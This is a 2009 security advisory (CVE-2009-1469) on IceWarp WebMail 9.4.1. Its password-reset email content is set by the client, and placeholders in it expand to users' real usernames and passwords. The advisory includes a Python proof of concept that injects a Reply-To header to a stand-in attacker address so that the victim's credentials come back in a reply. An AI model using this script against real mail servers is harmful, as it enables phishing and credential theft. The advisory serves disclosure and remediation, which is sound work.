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IceWarp WebMail Server: Client-Side Specification of "Forgot Password" eMail Content

During a penetration test, RedTeam Pentesting discovered that the emails sent by the IceWarp WebMail Server when using the "Forgot Password" function are generated on the client side. Furthermore, the server expands certain keywords in these emails to users' full names, usernames and passwords. This allows for advanced social engineering attacks and the potential disclosure of usernames and passwords.

Details
=======

Product: IceWarp eMail Server / WebMail Server
Affected Versions: 9.4.1
Fixed Versions: 9.4.2
Vulnerability Type: Unauthorised System Message Manipulation
Security Risk: medium
Vendor URL: http://www.icewarp.com/
Vendor Status: notified, fixed version released
Advisory URL: http://www.redteam-pentesting.de/advisories/rt-sa-2009-004
Advisory Status: published
CVE: CVE-2009-1469
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1469


Introduction
============

"Feature complete yet easy to use, WebMail Server Pro provides feature rich Web 2.0 web-based access to email, calendars, contacts, files and shared data from any computer with browser and internet connection, without the usual configuration hassle. Thanks to advanced technologies and application-like look and feel, Pro suggests it was born to become the ultimate replacement of Outlook and similar desktop mail clients." 

(from the vendor's homepage)


More Details
============

The IceWarp WebMail Server implements a "Forgot Password" function on the login page. Users who have forgotten their login password can provide their email address to the mail server. It will then check if the email address exists in the system and send the associated user's password to it.

The HTTP POST request sent when clicking on the "Forgot Password" page's submit button has a payload similar to the following:

------------------------------------------------------------------------
<iq type="set">
<query xmlns="webmail:iq:auth">
<forgot>invalid@example.com</forgot>
<captcha uid="5861146275903694001237908440543">Z2JK 3WWY</captcha>
<subject>Your password for %EMAIL%</subject>
<message>
Dear %FULLNAME%,
your login data for webmail are following:

Username: %USERNAME%
Password: %PASSWORD%

This email was sent to: %EMAIL%, %ALTEMAIL%.
</message>
</query>
</iq>
------------------------------------------------------------------------ 

The message content of the email is specified with the HTTP POST request and not on the server side. It is therefore possible to manipulate the content of the message.

The variables between the percent ("%") character are substituted by the system with data from the database. The following variables are recognised:

%FULLNAME%              Fullname of the user (first name, last name) %USERNAME%, %USER%      User name
%PASSWORD%              Password of the user's account
%EMAIL%                 Email address
%ALTEMAIL%              Alternative email address
%REMOTEIP%              Remote IP address of the server 

By injecting newlines into the subject of the message, it is also possible to add additional headers to the email. These are however not parsed by the mail system and will only appear in the web frontend as headers of the real mail. An example would be to add an additional "To:", "Cc:" or "Bcc:" header.



Proof of Concept
================

The following proof of concept code sends an email with a request to reply to the email to renew the account. The injected "Reply-To" header will make the reply go the attacker's email address. The variables in the body will be expanded to the real username and password of the account. If the users leave the original content of the mail intact when replying, the attacker will get the login credentials.

-------------------------------------------------------------------------
#! /usr/bin/env python
import urllib2, sys

conf = {
"captcha_uid": "5989688782215156001239966846169",
"captcha": "4SJZ Z4GY",
"forgot": "user@example.com",
"replyto": "attacker@example.com",
"server": "http://www.example.com/webmail/server/webmail.php"
}

data = """
<iq type="set">
<query xmlns="webmail:iq:auth">
<forgot>%(forgot)s</forgot>
<captcha uid="%(captcha_uid)s">%(captcha)s</captcha>
<subject>
<![CDATA[
Account expiration %EMAIL%\r\nReply-To: %(replyto)s\n
]]>
</subject>
<message>
Dear %FULLNAME%,

your account

Username: %USERNAME%
Password: %PASSWORD%

has expired. To renew the account, please reply to this email
leaving the email body intact, so we know the account is still
used.

Kind regards,

the IT department
</message>
</query>
</iq>
""" % conf

req = urllib2.Request(conf['server'])
req.add_data(data)
res = urllib2.urlopen(req)
print repr(res.read())
------------------------------------------------------------------------- 


Workaround
==========

Do not trust emails even if they contain your valid password. Always check the address an email is sent to when replying. Preferably, do not include your login credentials in unencrypted emails.


Fix
===

Upgrade to version 9.4.2.


Security Risk
=============

Client-side specification of the email message text, combined with the availability of these variables, make elaborate social engineering attacks possible. Attackers can send emails to users of the email system and fake knowledge of users' full names, usernames and passwords, adding credibility. This makes it more likely for users to comply with any requests made in the email. The risk is therefore regarded as medium. 



History
=======

2009-03-23 Vulnerabilities identified during a penetration test
2009-04-01 Meeting with customer and vendor
2009-04-28 CVE number assigned
2009-05-05 Vendor publishes fixed version
2009-05-05 Advisory released


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at http://www.redteam-pentesting.de.